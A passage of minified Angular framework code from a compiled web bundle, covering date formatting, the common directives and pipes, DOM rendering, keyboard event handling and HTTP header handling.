"${t}".`)}}(t,o);if((n>0||a>-n)&&(a+=n),t===H.Hours)0===a&&-12===n&&(a=12);else if(t===H.FractionalSeconds)return function(t,e){return K(t,3).substr(0,e)}(a,e);const c=A(s,E.MinusSign);return K(a,e,c,r,i)}}function Q(t,e,n=S.Format,i=!1){return function(o,s){return function(t,e,n,i,o,s){switch(n){case z.Months:return function(t,e,n){const i=(0,r.\u0275findLocaleData)(t),o=R([i[r.\u0275LocaleDataIndex.MonthsFormat],i[r.\u0275LocaleDataIndex.MonthsStandalone]],e);return R(o,n)}(e,o,i)[t.getMonth()];case z.Days:return function(t,e,n){const i=(0,r.\u0275findLocaleData)(t),o=R([i[r.\u0275LocaleDataIndex.DaysFormat],i[r.\u0275LocaleDataIndex.DaysStandalone]],e);return R(o,n)}(e,o,i)[t.getDay()];case z.DayPeriods:const a=t.getHours(),c=t.getMinutes();if(s){const t=function(t){const e=(0,r.\u0275findLocaleData)(t);return N(e),(e[r.\u0275LocaleDataIndex.ExtraData][2]||[]).map(t=>"string"==typeof t?L(t):[L(t[0]),L(t[1])])}(e),n=function(t,e,n){const i=(0,r.\u0275findLocaleData)(t);N(i);const o=R([i[r.\u0275LocaleDataIndex.ExtraData][0],i[r.\u0275LocaleDataIndex.ExtraData][1]],e)||[];return R(o,n)||[]}(e,o,i),s=t.findIndex(t=>{if(Array.isArray(t)){const[e,n]=t,r=a>=e.hours&&c>=e.minutes,i=a<n.hours||a===n.hours&&c<n.minutes;if(e.hours<n.hours){if(r&&i)return!0}else if(r||i)return!0}else if(t.hours===a&&t.minutes===c)return!0;return!1});if(-1!==s)return n[s]}return function(t,e,n){const i=(0,r.\u0275findLocaleData)(t),o=R([i[r.\u0275LocaleDataIndex.DayPeriodsFormat],i[r.\u0275LocaleDataIndex.DayPeriodsStandalone]],e);return R(o,n)}(e,o,i)[a<12?0:1];case z.Eras:return function(t,e){return R((0,r.\u0275findLocaleData)(t)[r.\u0275LocaleDataIndex.Eras],e)}(e,i)[t.getFullYear()<=0?0:1];default:throw new Error(`unexpected translation type ${n}`)}}(o,s,t,e,n,i)}}function X(t){return function(e,n,r){const i=-1*r,o=A(n,E.MinusSign),s=i>0?Math.floor(i/60):Math.ceil(i/60);switch(t){case B.Short:return(i>=0?"+":"")+K(s,2,o)+K(Math.abs(i%60),2,o);case B.ShortGMT:return"GMT"+(i>=0?"+":"")+K(s,1,o);case B.Long:return"GMT"+(i>=0?"+":"")+K(s,2,o)+":"+K(Math.abs(i%60),2,o);case B.Extended:return 0===r?"Z":(i>=0?"+":"")+K(s,2,o)+":"+K(Math.abs(i%60),2,o);default:throw new Error(`Unknown zone width "${t}"`)}}}function Z(t){return U(t.getFullYear(),t.getMonth(),t.getDate()+(4-t.getDay()))}function Y(t,e=!1){return function(n,r){let i;if(e){const t=new Date(n.getFullYear(),n.getMonth(),1).getDay()-1,e=n.getDate();i=1+Math.floor((e+t)/7)}else{const t=Z(n),e=function(t){const e=U(t,0,1).getDay();return U(t,0,1+(e<=4?4:11)-e)}(t.getFullYear()),r=t.getTime()-e.getTime();i=1+Math.round(r/6048e5)}return K(i,t,A(r,E.MinusSign))}}function J(t,e=!1){return function(n,r){return K(Z(n).getFullYear(),t,A(r,E.MinusSign),e)}}const tt={};function et(t,e){t=t.replace(/:/g,"");const n=Date.parse("Jan 01, 1970 00:00:00 "+t)/6e4;return isNaN(n)?e:n}function nt(t){return t instanceof Date&&!isNaN(t.valueOf())}class rt{}let it=(()=>{class t extends rt{constructor(t){super(),this.locale=t}getPluralCategory(t,e){switch(D(e||this.locale)(t)){case P.Zero:return"zero";case P.One:return"one";case P.Two:return"two";case P.Few:return"few";case P.Many:return"many";default:return"other"}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.LOCALE_ID))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();function ot(t,e){e=encodeURIComponent(e);for(const n of t.split(";")){const t=n.indexOf("="),[r,i]=-1==t?[n,""]:[n.slice(0,t),n.slice(t+1)];if(r.trim()===e)return decodeURIComponent(i)}return null}let st=(()=>{class t{constructor(t,e,n,r){this._iterableDiffers=t,this._keyValueDiffers=e,this._ngEl=n,this._renderer=r,this._iterableDiffer=null,this._keyValueDiffer=null,this._initialClasses=[],this._rawClass=null}set klass(t){this._removeClasses(this._initialClasses),this._initialClasses="string"==typeof t?t.split(/\s+/):[],this._applyClasses(this._initialClasses),this._applyClasses(this._rawClass)}set ngClass(t){this._removeClasses(this._rawClass),this._applyClasses(this._initialClasses),this._iterableDiffer=null,this._keyValueDiffer=null,this._rawClass="string"==typeof t?t.split(/\s+/):t,this._rawClass&&((0,r.\u0275isListLikeIterable)(this._rawClass)?this._iterableDiffer=this._iterableDiffers.find(this._rawClass).create():this._keyValueDiffer=this._keyValueDiffers.find(this._rawClass).create())}ngDoCheck(){if(this._iterableDiffer){const t=this._iterableDiffer.diff(this._rawClass);t&&this._applyIterableChanges(t)}else if(this._keyValueDiffer){const t=this._keyValueDiffer.diff(this._rawClass);t&&this._applyKeyValueChanges(t)}}_applyKeyValueChanges(t){t.forEachAddedItem(t=>this._toggleClass(t.key,t.currentValue)),t.forEachChangedItem(t=>this._toggleClass(t.key,t.currentValue)),t.forEachRemovedItem(t=>{t.previousValue&&this._toggleClass(t.key,!1)})}_applyIterableChanges(t){t.forEachAddedItem(t=>{if("string"!=typeof t.item)throw new Error(`NgClass can only toggle CSS classes expressed as strings, got ${(0,r.\u0275stringify)(t.item)}`);this._toggleClass(t.item,!0)}),t.forEachRemovedItem(t=>this._toggleClass(t.item,!1))}_applyClasses(t){t&&(Array.isArray(t)||t instanceof Set?t.forEach(t=>this._toggleClass(t,!0)):Object.keys(t).forEach(e=>this._toggleClass(e,!!t[e])))}_removeClasses(t){t&&(Array.isArray(t)||t instanceof Set?t.forEach(t=>this._toggleClass(t,!1)):Object.keys(t).forEach(t=>this._toggleClass(t,!1)))}_toggleClass(t,e){(t=t.trim())&&t.split(/\s+/g).forEach(t=>{e?this._renderer.addClass(this._ngEl.nativeElement,t):this._renderer.removeClass(this._ngEl.nativeElement,t)})}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.IterableDiffers),r.\u0275\u0275directiveInject(r.KeyValueDiffers),r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(r.Renderer2))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","ngClass",""]],inputs:{klass:["class","klass"],ngClass:"ngClass"}}),t})();class at{constructor(t,e,n,r){this.$implicit=t,this.ngForOf=e,this.index=n,this.count=r}get first(){return 0===this.index}get last(){return this.index===this.count-1}get even(){return this.index%2==0}get odd(){return!this.even}}let ct=(()=>{class t{constructor(t,e,n){this._viewContainer=t,this._template=e,this._differs=n,this._ngForOf=null,this._ngForOfDirty=!0,this._differ=null}set ngForOf(t){this._ngForOf=t,this._ngForOfDirty=!0}set ngForTrackBy(t){this._trackByFn=t}get ngForTrackBy(){return this._trackByFn}set ngForTemplate(t){t&&(this._template=t)}ngDoCheck(){if(this._ngForOfDirty){this._ngForOfDirty=!1;const e=this._ngForOf;if(!this._differ&&e)try{this._differ=this._differs.find(e).create(this.ngForTrackBy)}catch(t){throw new Error(`Cannot find a differ supporting object '${e}' of type '${function(t){return t.name||typeof t}(e)}'. NgFor only supports binding to Iterables such as Arrays.`)}}if(this._differ){const t=this._differ.diff(this._ngForOf);t&&this._applyChanges(t)}}_applyChanges(t){const e=[];t.forEachOperation((t,n,r)=>{if(null==t.previousIndex){const n=this._viewContainer.createEmbeddedView(this._template,new at(null,this._ngForOf,-1,-1),null===r?void 0:r),i=new lt(t,n);e.push(i)}else if(null==r)this._viewContainer.remove(null===n?void 0:n);else if(null!==n){const i=this._viewContainer.get(n);this._viewContainer.move(i,r);const o=new lt(t,i);e.push(o)}});for(let n=0;n<e.length;n++)this._perViewChange(e[n].view,e[n].record);for(let n=0,r=this._viewContainer.length;n<r;n++){const t=this._viewContainer.get(n);t.context.index=n,t.context.count=r,t.context.ngForOf=this._ngForOf}t.forEachIdentityChange(t=>{this._viewContainer.get(t.currentIndex).context.$implicit=t.item})}_perViewChange(t,e){t.context.$implicit=e.item}static ngTemplateContextGuard(t,e){return!0}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ViewContainerRef),r.\u0275\u0275directiveInject(r.TemplateRef),r.\u0275\u0275directiveInject(r.IterableDiffers))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","ngFor","","ngForOf",""]],inputs:{ngForOf:"ngForOf",ngForTrackBy:"ngForTrackBy",ngForTemplate:"ngForTemplate"}}),t})();class lt{constructor(t,e){this.record=t,this.view=e}}let ut=(()=>{class t{constructor(t,e){this._viewContainer=t,this._context=new dt,this._thenTemplateRef=null,this._elseTemplateRef=null,this._thenViewRef=null,this._elseViewRef=null,this._thenTemplateRef=e}set ngIf(t){this._context.$implicit=this._context.ngIf=t,this._updateView()}set ngIfThen(t){ht("ngIfThen",t),this._thenTemplateRef=t,this._thenViewRef=null,this._updateView()}set ngIfElse(t){ht("ngIfElse",t),this._elseTemplateRef=t,this._elseViewRef=null,this._updateView()}_updateView(){this._context.$implicit?this._thenViewRef||(this._viewContainer.clear(),this._elseViewRef=null,this._thenTemplateRef&&(this._thenViewRef=this._viewContainer.createEmbeddedView(this._thenTemplateRef,this._context))):this._elseViewRef||(this._viewContainer.clear(),this._thenViewRef=null,this._elseTemplateRef&&(this._elseViewRef=this._viewContainer.createEmbeddedView(this._elseTemplateRef,this._context)))}static ngTemplateContextGuard(t,e){return!0}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ViewContainerRef),r.\u0275\u0275directiveInject(r.TemplateRef))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","ngIf",""]],inputs:{ngIf:"ngIf",ngIfThen:"ngIfThen",ngIfElse:"ngIfElse"}}),t})();class dt{constructor(){this.$implicit=null,this.ngIf=null}}function ht(t,e){if(e&&!e.createEmbeddedView)throw new Error(`${t} must be a TemplateRef, but received '${(0,r.\u0275stringify)(e)}'.`)}function pt(t,e){return Error(`InvalidPipeArgument: '${e}' for pipe '${(0,r.\u0275stringify)(t)}'`)}class ft{createSubscription(t,e){return t.subscribe({next:e,error:t=>{throw t}})}dispose(t){t.unsubscribe()}onDestroy(t){t.unsubscribe()}}class gt{createSubscription(t,e){return t.then(e,t=>{throw t})}dispose(t){}onDestroy(t){}}const mt=new gt,yt=new ft;let bt=(()=>{class t{constructor(t){this._ref=t,this._latestValue=null,this._subscription=null,this._obj=null,this._strategy=null}ngOnDestroy(){this._subscription&&this._dispose()}transform(t){return this._obj?t!==this._obj?(this._dispose(),this.transform(t)):this._latestValue:(t&&this._subscribe(t),this._latestValue)}_subscribe(t){this._obj=t,this._strategy=this._selectStrategy(t),this._subscription=this._strategy.createSubscription(t,e=>this._updateLatestValue(t,e))}_selectStrategy(e){if((0,r.\u0275isPromise)(e))return mt;if((0,r.\u0275isSubscribable)(e))return yt;throw pt(t,e)}_dispose(){this._strategy.dispose(this._subscription),this._latestValue=null,this._subscription=null,this._obj=null}_updateLatestValue(t,e){t===this._obj&&(this._latestValue=e,this._ref.markForCheck())}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ChangeDetectorRef,16))},t.\u0275pipe=r.\u0275\u0275definePipe({name:"async",type:t,pure:!1}),t})(),vt=(()=>{class t{constructor(t){this.locale=t}transform(e,n="mediumDate",r,i){if(null==e||""===e||e!=e)return null;try{return G(e,n,i||this.locale,r)}catch(o){throw pt(t,o.message)}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.LOCALE_ID,16))},t.\u0275pipe=r.\u0275\u0275definePipe({name:"date",type:t,pure:!0}),t})(),_t=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:[{provide:rt,useClass:it}]}),t})();function Ct(t){return"browser"===t}let wt=(()=>{class t{}return t.\u0275prov=(0,r.\u0275\u0275defineInjectable)({token:t,providedIn:"root",factory:()=>new xt((0,r.\u0275\u0275inject)(s),window)}),t})();class xt{constructor(t,e){this.document=t,this.window=e,this.offset=()=>[0,0]}setOffset(t){this.offset=Array.isArray(t)?()=>t:t}getScrollPosition(){return this.supportsScrolling()?[this.window.pageXOffset,this.window.pageYOffset]:[0,0]}scrollToPosition(t){this.supportsScrolling()&&this.window.scrollTo(t[0],t[1])}scrollToAnchor(t){if(!this.supportsScrolling())return;const e=function(t,e){const n=t.getElementById(e)||t.getElementsByName(e)[0];if(n)return n;if("function"==typeof t.createTreeWalker&&t.body&&(t.body.createShadowRoot||t.body.attachShadow)){const n=t.createTreeWalker(t.body,NodeFilter.SHOW_ELEMENT);let r=n.currentNode;for(;r;){const t=r.shadowRoot;if(t){const n=t.getElementById(e)||t.querySelector(`[name="${e}"]`);if(n)return n}r=n.nextNode()}}return null}(this.document,t);e&&(this.scrollToElement(e),this.attemptFocus(e))}setHistoryScrollRestoration(t){if(this.supportScrollRestoration()){const e=this.window.history;e&&e.scrollRestoration&&(e.scrollRestoration=t)}}scrollToElement(t){const e=t.getBoundingClientRect(),n=e.left+this.window.pageXOffset,r=e.top+this.window.pageYOffset,i=this.offset();this.window.scrollTo(n-i[0],r-i[1])}attemptFocus(t){return t.focus(),this.document.activeElement===t}supportScrollRestoration(){try{if(!this.supportsScrolling())return!1;const t=Pt(this.window.history)||Pt(Object.getPrototypeOf(this.window.history));return!(!t||!t.writable&&!t.set)}catch(ya){return!1}}supportsScrolling(){try{return!!this.window&&!!this.window.scrollTo&&"pageXOffset"in this.window}catch(ya){return!1}}}function Pt(t){return Object.getOwnPropertyDescriptor(t,"scrollRestoration")}class St{}class Mt extends class extends class{}{constructor(){super(...arguments),this.supportsDOMEvents=!0}}{static makeCurrent(){var t;t=new Mt,i||(i=t)}onAndCancel(t,e,n){return t.addEventListener(e,n,!1),()=>{t.removeEventListener(e,n,!1)}}dispatchEvent(t,e){t.dispatchEvent(e)}remove(t){t.parentNode&&t.parentNode.removeChild(t)}createElement(t,e){return(e=e||this.getDefaultDocument()).createElement(t)}createHtmlDocument(){return document.implementation.createHTMLDocument("fakeTitle")}getDefaultDocument(){return document}isElementNode(t){return t.nodeType===Node.ELEMENT_NODE}isShadowRoot(t){return t instanceof DocumentFragment}getGlobalEventTarget(t,e){return"window"===e?window:"document"===e?t:"body"===e?t.body:null}getBaseHref(t){const e=(Et=Et||document.querySelector("base"),Et?Et.getAttribute("href"):null);return null==e?null:function(t){Ot=Ot||document.createElement("a"),Ot.setAttribute("href",t);const e=Ot.pathname;return"/"===e.charAt(0)?e:`/${e}`}(e)}resetBaseElement(){Et=null}getUserAgent(){return window.navigator.userAgent}getCookie(t){return ot(document.cookie,t)}}let Ot,Et=null;const Tt=new r.InjectionToken("TRANSITION_ID"),It=[{provide:r.APP_INITIALIZER,useFactory:function(t,e,n){return()=>{n.get(r.ApplicationInitStatus).donePromise.then(()=>{const n=o(),r=e.querySelectorAll(`style[ng-transition="${t}"]`);for(let t=0;t<r.length;t++)n.remove(r[t])})}},deps:[Tt,s,r.Injector],multi:!0}];class kt{static init(){(0,r.setTestabilityGetter)(new kt)}addToWindow(t){r.\u0275global.getAngularTestability=(e,n=!0)=>{const r=t.findTestabilityInTree(e,n);if(null==r)throw new Error("Could not find testability for element.");return r},r.\u0275global.getAllAngularTestabilities=()=>t.getAllTestabilities(),r.\u0275global.getAllAngularRootElements=()=>t.getAllRootElements(),r.\u0275global.frameworkStabilizers||(r.\u0275global.frameworkStabilizers=[]),r.\u0275global.frameworkStabilizers.push(t=>{const e=r.\u0275global.getAllAngularTestabilities();let n=e.length,i=!1;const o=function(e){i=i||e,n--,0==n&&t(i)};e.forEach(function(t){t.whenStable(o)})})}findTestabilityInTree(t,e,n){if(null==e)return null;const r=t.getTestability(e);return null!=r?r:n?o().isShadowRoot(e)?this.findTestabilityInTree(t,e.host,!0):this.findTestabilityInTree(t,e.parentElement,!0):null}}let At=(()=>{class t{build(){return new XMLHttpRequest}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();const Dt=new r.InjectionToken("EventManagerPlugins");let Nt=(()=>{class t{constructor(t,e){this._zone=e,this._eventNameToPlugin=new Map,t.forEach(t=>t.manager=this),this._plugins=t.slice().reverse()}addEventListener(t,e,n){return this._findPluginFor(e).addEventListener(t,e,n)}addGlobalEventListener(t,e,n){return this._findPluginFor(e).addGlobalEventListener(t,e,n)}getZone(){return this._zone}_findPluginFor(t){const e=this._eventNameToPlugin.get(t);if(e)return e;const n=this._plugins;for(let r=0;r<n.length;r++){const e=n[r];if(e.supports(t))return this._eventNameToPlugin.set(t,e),e}throw new Error(`No event manager plugin found for event ${t}`)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(Dt),r.\u0275\u0275inject(r.NgZone))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();class Rt{constructor(t){this._doc=t}addGlobalEventListener(t,e,n){const r=o().getGlobalEventTarget(this._doc,t);if(!r)throw new Error(`Unsupported event target ${r} for event ${e}`);return this.addEventListener(r,e,n)}}let Lt=(()=>{class t{constructor(){this._stylesSet=new Set}addStyles(t){const e=new Set;t.forEach(t=>{this._stylesSet.has(t)||(this._stylesSet.add(t),e.add(t))}),this.onStylesAdded(e)}onStylesAdded(t){}getAllStyles(){return Array.from(this._stylesSet)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})(),jt=(()=>{class t extends Lt{constructor(t){super(),this._doc=t,this._hostNodes=new Map,this._hostNodes.set(t.head,[])}_addStylesToHost(t,e,n){t.forEach(t=>{const r=this._doc.createElement("style");r.textContent=t,n.push(e.appendChild(r))})}addHost(t){const e=[];this._addStylesToHost(this._stylesSet,t,e),this._hostNodes.set(t,e)}removeHost(t){const e=this._hostNodes.get(t);e&&e.forEach(Ft),this._hostNodes.delete(t)}onStylesAdded(t){this._hostNodes.forEach((e,n)=>{this._addStylesToHost(t,n,e)})}ngOnDestroy(){this._hostNodes.forEach(t=>t.forEach(Ft))}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(s))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();function Ft(t){o().remove(t)}const Vt={svg:"http://www.w3.org/2000/svg",xhtml:"http://www.w3.org/1999/xhtml",xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"},Bt=/%COMP%/g;function Ht(t,e,n){for(let r=0;r<e.length;r++){let i=e[r];Array.isArray(i)?Ht(t,i,n):(i=i.replace(Bt,t),n.push(i))}return n}function zt(t){return e=>{if("__ngUnwrap__"===e)return t;!1===t(e)&&(e.preventDefault(),e.returnValue=!1)}}let Gt=(()=>{class t{constructor(t,e,n){this.eventManager=t,this.sharedStylesHost=e,this.appId=n,this.rendererByCompId=new Map,this.defaultRenderer=new Ut(t)}createRenderer(t,e){if(!t||!e)return this.defaultRenderer;switch(e.encapsulation){case r.ViewEncapsulation.Emulated:{let n=this.rendererByCompId.get(e.id);return n||(n=new qt(this.eventManager,this.sharedStylesHost,e,this.appId),this.rendererByCompId.set(e.id,n)),n.applyToHost(t),n}case 1:case r.ViewEncapsulation.ShadowDom:return new Wt(this.eventManager,this.sharedStylesHost,t,e);default:if(!this.rendererByCompId.has(e.id)){const t=Ht(e.id,e.styles,[]);this.sharedStylesHost.addStyles(t),this.rendererByCompId.set(e.id,this.defaultRenderer)}return this.defaultRenderer}}begin(){}end(){}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(Nt),r.\u0275\u0275inject(jt),r.\u0275\u0275inject(r.APP_ID))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();class Ut{constructor(t){this.eventManager=t,this.data=Object.create(null)}destroy(){}createElement(t,e){return e?document.createElementNS(Vt[e]||e,t):document.createElement(t)}createComment(t){return document.createComment(t)}createText(t){return document.createTextNode(t)}appendChild(t,e){t.appendChild(e)}insertBefore(t,e,n){t&&t.insertBefore(e,n)}removeChild(t,e){t&&t.removeChild(e)}selectRootElement(t,e){let n="string"==typeof t?document.querySelector(t):t;if(!n)throw new Error(`The selector "${t}" did not match any elements`);return e||(n.textContent=""),n}parentNode(t){return t.parentNode}nextSibling(t){return t.nextSibling}setAttribute(t,e,n,r){if(r){e=r+":"+e;const i=Vt[r];i?t.setAttributeNS(i,e,n):t.setAttribute(e,n)}else t.setAttribute(e,n)}removeAttribute(t,e,n){if(n){const r=Vt[n];r?t.removeAttributeNS(r,e):t.removeAttribute(`${n}:${e}`)}else t.removeAttribute(e)}addClass(t,e){t.classList.add(e)}removeClass(t,e){t.classList.remove(e)}setStyle(t,e,n,i){i&(r.RendererStyleFlags2.DashCase|r.RendererStyleFlags2.Important)?t.style.setProperty(e,n,i&r.RendererStyleFlags2.Important?"important":""):t.style[e]=n}removeStyle(t,e,n){n&r.RendererStyleFlags2.DashCase?t.style.removeProperty(e):t.style[e]=""}setProperty(t,e,n){t[e]=n}setValue(t,e){t.nodeValue=e}listen(t,e,n){return"string"==typeof t?this.eventManager.addGlobalEventListener(t,e,zt(n)):this.eventManager.addEventListener(t,e,zt(n))}}class qt extends Ut{constructor(t,e,n,r){super(t),this.component=n;const i=Ht(r+"-"+n.id,n.styles,[]);e.addStyles(i),this.contentAttr="_ngcontent-%COMP%".replace(Bt,r+"-"+n.id),this.hostAttr=function(t){return"_nghost-%COMP%".replace(Bt,t)}(r+"-"+n.id)}applyToHost(t){super.setAttribute(t,this.hostAttr,"")}createElement(t,e){const n=super.createElement(t,e);return super.setAttribute(n,this.contentAttr,""),n}}class Wt extends Ut{constructor(t,e,n,r){super(t),this.sharedStylesHost=e,this.hostEl=n,this.shadowRoot=n.attachShadow({mode:"open"}),this.sharedStylesHost.addHost(this.shadowRoot);const i=Ht(r.id,r.styles,[]);for(let o=0;o<i.length;o++){const t=document.createElement("style");t.textContent=i[o],this.shadowRoot.appendChild(t)}}nodeOrShadowRoot(t){return t===this.hostEl?this.shadowRoot:t}destroy(){this.sharedStylesHost.removeHost(this.shadowRoot)}appendChild(t,e){return super.appendChild(this.nodeOrShadowRoot(t),e)}insertBefore(t,e,n){return super.insertBefore(this.nodeOrShadowRoot(t),e,n)}removeChild(t,e){return super.removeChild(this.nodeOrShadowRoot(t),e)}parentNode(t){return this.nodeOrShadowRoot(super.parentNode(this.nodeOrShadowRoot(t)))}}let Kt=(()=>{class t extends Rt{constructor(t){super(t)}supports(t){return!0}addEventListener(t,e,n){return t.addEventListener(e,n,!1),()=>this.removeEventListener(t,e,n)}removeEventListener(t,e,n){return t.removeEventListener(e,n)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(s))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();const $t=["alt","control","meta","shift"],Qt={"\b":"Backspace","\t":"Tab","\x7f":"Delete","\x1b":"Escape",Del:"Delete",Esc:"Escape",Left:"ArrowLeft",Right:"ArrowRight",Up:"ArrowUp",Down:"ArrowDown",Menu:"ContextMenu",Scroll:"ScrollLock",Win:"OS"},Xt={A:"1",B:"2",C:"3",D:"4",E:"5",F:"6",G:"7",H:"8",I:"9",J:"*",K:"+",M:"-",N:".",O:"/","`":"0","\x90":"NumLock"},Zt={alt:t=>t.altKey,control:t=>t.ctrlKey,meta:t=>t.metaKey,shift:t=>t.shiftKey};let Yt=(()=>{class t extends Rt{constructor(t){super(t)}supports(e){return null!=t.parseEventName(e)}addEventListener(e,n,r){const i=t.parseEventName(n),s=t.eventCallback(i.fullKey,r,this.manager.getZone());return this.manager.getZone().runOutsideAngular(()=>o().onAndCancel(e,i.domEventName,s))}static parseEventName(e){const n=e.toLowerCase().split("."),r=n.shift();if(0===n.length||"keydown"!==r&&"keyup"!==r)return null;const i=t._normalizeKey(n.pop());let o="";if($t.forEach(t=>{const e=n.indexOf(t);e>-1&&(n.splice(e,1),o+=t+".")}),o+=i,0!=n.length||0===i.length)return null;const s={};return s.domEventName=r,s.fullKey=o,s}static getEventFullKey(t){let e="",n=function(t){let e=t.key;if(null==e){if(e=t.keyIdentifier,null==e)return"Unidentified";e.startsWith("U+")&&(e=String.fromCharCode(parseInt(e.substring(2),16)),3===t.location&&Xt.hasOwnProperty(e)&&(e=Xt[e]))}return Qt[e]||e}(t);return n=n.toLowerCase()," "===n?n="space":"."===n&&(n="dot"),$t.forEach(r=>{r!=n&&Zt[r](t)&&(e+=r+".")}),e+=n,e}static eventCallback(e,n,r){return i=>{t.getEventFullKey(i)===e&&r.runGuarded(()=>n(i))}}static _normalizeKey(t){switch(t){case"esc":return"escape";default:return t}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(s))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();const Jt=(0,r.createPlatformFactory)(r.platformCore,"browser",[{provide:r.PLATFORM_ID,useValue:"browser"},{provide:r.PLATFORM_INITIALIZER,useValue:function(){Mt.makeCurrent(),kt.init()},multi:!0},{provide:s,useFactory:function(){return(0,r.\u0275setDocument)(document),document},deps:[]}]),te=[[],{provide:r.\u0275INJECTOR_SCOPE,useValue:"root"},{provide:r.ErrorHandler,useFactory:function(){return new r.ErrorHandler},deps:[]},{provide:Dt,useClass:Kt,multi:!0,deps:[s,r.NgZone,r.PLATFORM_ID]},{provide:Dt,useClass:Yt,multi:!0,deps:[s]},[],{provide:Gt,useClass:Gt,deps:[Nt,jt,r.APP_ID]},{provide:r.RendererFactory2,useExisting:Gt},{provide:Lt,useExisting:jt},{provide:jt,useClass:jt,deps:[s]},{provide:r.Testability,useClass:r.Testability,deps:[r.NgZone]},{provide:Nt,useClass:Nt,deps:[Dt,r.NgZone]},{provide:St,useClass:At,deps:[]},[]];let ee=(()=>{class t{constructor(t){if(t)throw new Error("BrowserModule has already been loaded. If you need access to common directives such as NgIf and NgFor from a lazy loaded module, import CommonModule instead.")}static withServerTransition(e){return{ngModule:t,providers:[{provide:r.APP_ID,useValue:e.appId},{provide:Tt,useExisting:r.APP_ID},It]}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(t,12))},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:te,imports:[_t,r.ApplicationModule]}),t})();"undefined"!=typeof window&&window;var ne=n(5917),re=n(7574),ie=n(9773);function oe(t,e){return(0,ie.zg)(t,e,1)}var se=n(7393);function ae(t,e){return function(n){return n.lift(new ce(t,e))}}class ce{constructor(t,e){this.predicate=t,this.thisArg=e}call(t,e){return e.subscribe(new le(t,this.predicate,this.thisArg))}}class le extends se.L{constructor(t,e,n){super(t),this.predicate=e,this.thisArg=n,this.count=0}_next(t){let e;try{e=this.predicate.call(this.thisArg,t,this.count++)}catch(n){return void this.destination.error(n)}e&&this.destination.next(t)}}var ue=n(8002);class de{}class he{}class pe{constructor(t){this.normalizedNames=new Map,this.lazyUpdate=null,t?this.lazyInit="string"==typeof t?()=>{this.headers=new Map,t.split("\n").forEach(t=>{const e=t.indexOf(":");if(e>0){const n=t.slice(0,e),r=n.toLowerCase(),i=t.slice(e+1).trim();this.maybeSetNormalizedName(n,r),this.headers.has(r)?this.headers.get(r).push(i):this.headers.set(r,[i])}})}:()=>{this.headers=new Map,Object.keys(t).forEach(e=>{let n=t[e];const r=e.toLowerCase();"string"==typeof n&&(n=[n]),n.length>0&&(this.headers.set(r,n),this.maybeSetNormalizedName(e,r))})}:this.headers=new Map}has(t){return this.init(),this.headers.has(t.toLowerCase())}get(t){this.init();const e=this.headers.get(t.toLowerCase());return e&&e.length>0?e[0]:null}keys(){return this.init(),Array.from(this.normalizedNames.values())}getAll(t){return this.init(),this.headers.get(t.toLowerCase())||null}append(t,e){return this.clone({name:t,value:e,op:"a"})}set(t,e){return this.clone({name:t,value:e,op:"s"})}delete(t,e){return this.clone({name:t,value:e,op:"d"})}maybeSetNormalizedName(t,e){this.normalizedNames.has(e)||this.normalizedNames.set(e,t)}init(){this.lazyInit&&(this.lazyInit instanceof pe?this.copyFrom(this.lazyInit):this.lazyInit(),this.lazyInit=null,this.lazyUpdate&&(this.lazyUpdate.forEach(t=>this.applyUpdate(t)),this.lazyUpdate=null))}copyFrom(t){t.init(),Array.from(t.headers.keys()).forEach(e=>{this.headers.set(e,t.headers.get(e)),this.normalizedNames.set(e,t.normalizedNames.get(e))})}clone(t){const e=new pe;return e.lazyInit=this.lazyInit&&this.lazyInit instanceof pe?this.lazyInit:this,e.lazyUpdate=(this.lazyUpdate||[]).concat([t]),e}applyUpdate(t){const e=t.name.toLowerCase();switch(t.op){case"a":case"s":let n=t.value;if("string"==typeof n&&(n=[n]),0===n.length)return;this.maybeSetNormalizedName(t.name,e);const r=("a"===t.op?this.headers.get(e):void 0)||[];r.push(...n),this.headers.set(e,r);break;case"d":const i=t.value;if(i){let t=this.headers.get(e);if(!t)return;t=t.filter(t=>-1===i.indexOf(t)),0===t.length?(this.headers.delete(e),this.normalizedNames.delete(e)):this.headers.set(e,t)}else this.headers.delete(e),this.normalizedNames.delete(e)}}forEach(t){this.init(),Array.from(this.normalizedNames.keys()).forEach(e=>t(this.normalizedNames.get(e),this.headers.get(e)))}}class 